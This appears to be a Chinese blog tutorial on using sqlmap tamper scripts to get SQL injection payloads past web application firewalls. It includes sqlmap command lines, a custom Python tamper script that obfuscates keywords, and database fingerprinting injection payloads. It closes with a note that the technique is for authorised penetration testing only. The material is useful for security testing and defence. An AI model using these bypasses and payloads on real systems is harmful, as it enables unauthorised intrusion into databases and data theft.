Tamper脚本绕过WAF

#AgenticAI·十月创作之星挑战赛#

一、Tamper脚本绕过WAF:核心原理与步骤

1. 核心原理

WAF对SQL注入的检测通常基于特征匹配(如关键词union select、特殊符号'、注释符--等)或行为分析(如异常参数长度、特殊请求格式)。Tamper脚本的作用是通过对原始payload进行编码、替换、混淆、拆分等变形,消除WAF识别的特征,同时保证变形后的payload在数据库中仍能正常执行。

例如:
原始payload:' union select 1,2,3--
经Tamper处理后可能变为:%27%20UnIoN%20%0ASeLeCt%201,2,3%23(URL编码+大小写混淆+换行符替换空格+注释符替换),既绕过WAF特征检测,又能被数据库解析执行。

2. 详细步骤

步骤1:了解目标WAF的拦截规则(关键前提)

在使用Tamper前,需通过测试判断WAF的拦截特征,常用方法:

  • 单字符测试:向参数中注入单个字符(如'";#),观察是否被拦截(返回403、503或异常页面),确定WAF对特殊符号的敏感度。
  • 关键词测试:注入简单关键词(如unionselectand 1=1),观察是否被拦截,确定WAF对SQL关键词的过滤规则(是否区分大小写、是否拦截完整单词)。
  • 长度测试:注入超长字符串,观察是否因长度异常被拦截,判断是否有长度限制。

示例:若注入'被拦截,说明WAF检测单引号;注入union被拦截但UnIoN不被拦截,说明WAF对大小写不敏感,可利用大小写混淆绕过。

步骤2:获取sqlmap内置的Tamper脚本

sqlmap在/tamper/目录下内置了数十种Tamper脚本(不同版本可能有差异),每个脚本对应特定的变形逻辑。可通过以下命令查看所有可用Tamper:

ls /usr/share/sqlmap/tamper/  # Linux系统默认路径
# 或在sqlmap运行目录执行:dir tamper (Windows)

常见Tamper脚本及作用:

脚本名称作用说明(变形逻辑)
space2plus.py将空格替换为+(URL中+会被解析为空格)
space2comment.py将空格替换为/**/(MySQL等数据库支持的多行注释,可替代空格分隔关键词)
unionalltounion.pyunion all select替换为union select(部分WAF拦截union all
charencode.py对payload进行URL全编码(如'%27s%73
randomcase.py对SQL关键词进行随机大小写混淆(如selectSeLeCt
securesphere.py针对SecureSphere WAF,在关键词后添加特殊字符串(如union selectunion/*!50000select*/
mysql.py针对MySQL,添加版本注释(如union selectunion/*!08000select*/
步骤3:选择并组合Tamper脚本

根据步骤1分析的WAF规则,选择对应的Tamper脚本。若单个脚本无效,可组合多个脚本(按变形逻辑顺序排列)。

使用命令格式

sqlmap -u "目标URL" --tamper=脚本1,脚本2,... [其他参数]

示例场景

  1. 若WAF拦截空格和union select关键词,且对大小写不敏感:

    sqlmap -u "http://example.com/index.php?id=1" --tamper=randomcase,space2comment
    

    效果:union selectUnIoN/**/SeLeCt(大小写混淆+注释替代空格)。

  2. 若WAF拦截单引号和URL编码字符:

    sqlmap -u "http://example.com/login.php?user=1" --tamper=charencode,space2plus
    

    效果:' or 1=1--%27%2bor%2b1%3d1%2d%2d(全URL编码++替代空格)。

  3. 针对严格的WAF(如阿里云WAF),可组合多种变形:

    sqlmap -u "http://example.com/product.php?id=1" --tamper=randomcase,charencode,space2comment,unionalltounion
    
步骤4:验证绕过效果并调整
  • 若sqlmap提示“目标可能存在注入”但无法获取数据,可能是Tamper变形过度导致payload失效,需减少脚本数量。
  • 若仍被WAF拦截,可尝试自定义Tamper脚本(见步骤5)。
  • 可通过-v 3参数查看sqlmap发送的变形后payload,分析WAF未拦截的有效格式:
    sqlmap -u "目标URL" --tamper=xxx -v 3  # 详细输出payload
    
步骤5:自定义Tamper脚本(高级操作)

若内置脚本无法绕过,可根据WAF规则编写自定义Tamper。Tamper脚本本质是Python函数,需实现对payload的变形逻辑,模板如下:

#!/usr/bin/env python
"""
自定义Tamper:将空格替换为换行符%0a,并对关键词进行双写
"""
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW  # 优先级

def dependencies():
    pass  # 依赖说明

def tamper(payload, **kwargs):
    if payload:
        # 1. 空格替换为%0a(URL编码的换行符)
        payload = payload.replace(" ", "%0a")
        # 2. 关键词双写(如select→sselectelect,绕过简单替换过滤)
        for keyword in ["select", "union", "or", "and"]:
            payload = payload.replace(keyword, keyword[:len(keyword)//2] + keyword)
    return payload

使用方法:将脚本保存为custom.py,放入sqlmap的tamper目录,然后调用:

sqlmap -u "目标URL" --tamper=custom

二、数据库指纹识别:利用Tamper确保识别准确性

数据库指纹识别是sqlmap通过发送特定payload,根据目标响应差异判断数据库类型(如MySQL、Oracle、PostgreSQL等)的过程。当存在WAF时,原始识别payload可能被拦截,需结合Tamper脚本确保payload能到达数据库并返回有效响应。

1. 核心原理

不同数据库的语法存在差异,例如:

  • MySQL支持/*!50000select*/(版本注释),Oracle不支持;
  • SQL Server使用--注释,Oracle使用--/* */
  • PostgreSQL对字符串拼接用||,MySQL用concat()

sqlmap通过发送含这些差异特征的payload,根据响应判断数据库类型。若WAF拦截这些特征,需用Tamper变形后再发送。

2. 详细步骤

步骤1:使用sqlmap默认指纹识别(无WAF时)

无WAF拦截时,直接使用--fingerprint参数触发指纹识别:

sqlmap -u "http://example.com/index.php?id=1" --fingerprint

sqlmap会自动发送多个测试payload,输出数据库类型及版本(如MySQL 5.7.30)。

步骤2:结合Tamper绕过WAF进行指纹识别

若默认识别失败(因payload被WAF拦截),需添加Tamper脚本确保测试payload生效:

sqlmap -u "http://example.com/index.php?id=1" --tamper=randomcase,space2comment --fingerprint

此时,sqlmap发送的指纹识别payload会经过变形(如大小写混淆、空格替换),绕过WAF后到达数据库,根据响应差异完成识别。

步骤3:手动辅助识别(Tamper仍失效时)

若自动识别失败,可通过以下手动方式结合Tamper验证:

  1. 注入数据库特有函数
    例如,向参数注入id=1 and (select count(*) from dual)=1dual是Oracle特有表),若返回正常,可能是Oracle;若报错,可能是MySQL(需用Tamper变形避免拦截)。

  2. 利用版本差异
    注入id=1 and @@version>0(MySQL特有变量),若正常,可能是MySQL;注入id=1 and version()>0(PostgreSQL特有函数),判断是否为PostgreSQL。

  3. 结合sqlmap的--dbms参数验证
    若推测为MySQL,可用Tamper+指定数据库类型强制测试:

    sqlmap -u "目标URL" --tamper=mysql,charencode --dbms=MySQL
    

    若能成功获取数据,说明指纹识别正确。

三、注意事项与合法性

  1. 合法性:Tamper脚本仅用于授权的渗透测试,未经授权对目标系统进行测试属于非法攻击,违反《网络安全法》等法律法规,需承担法律责任。
  2. WAF对抗的局限性:现代WAF(如基于机器学习的下一代WAF)可能动态更新规则,Tamper脚本并非万能,需结合其他技巧(如分块注入、HTTP参数污染)。
  3. payload有效性验证:变形后的payload需在本地数据库测试能否正常执行,避免因过度变形导致注入失效。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Flying_Fish_Xuan

你的鼓励将是我创作最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值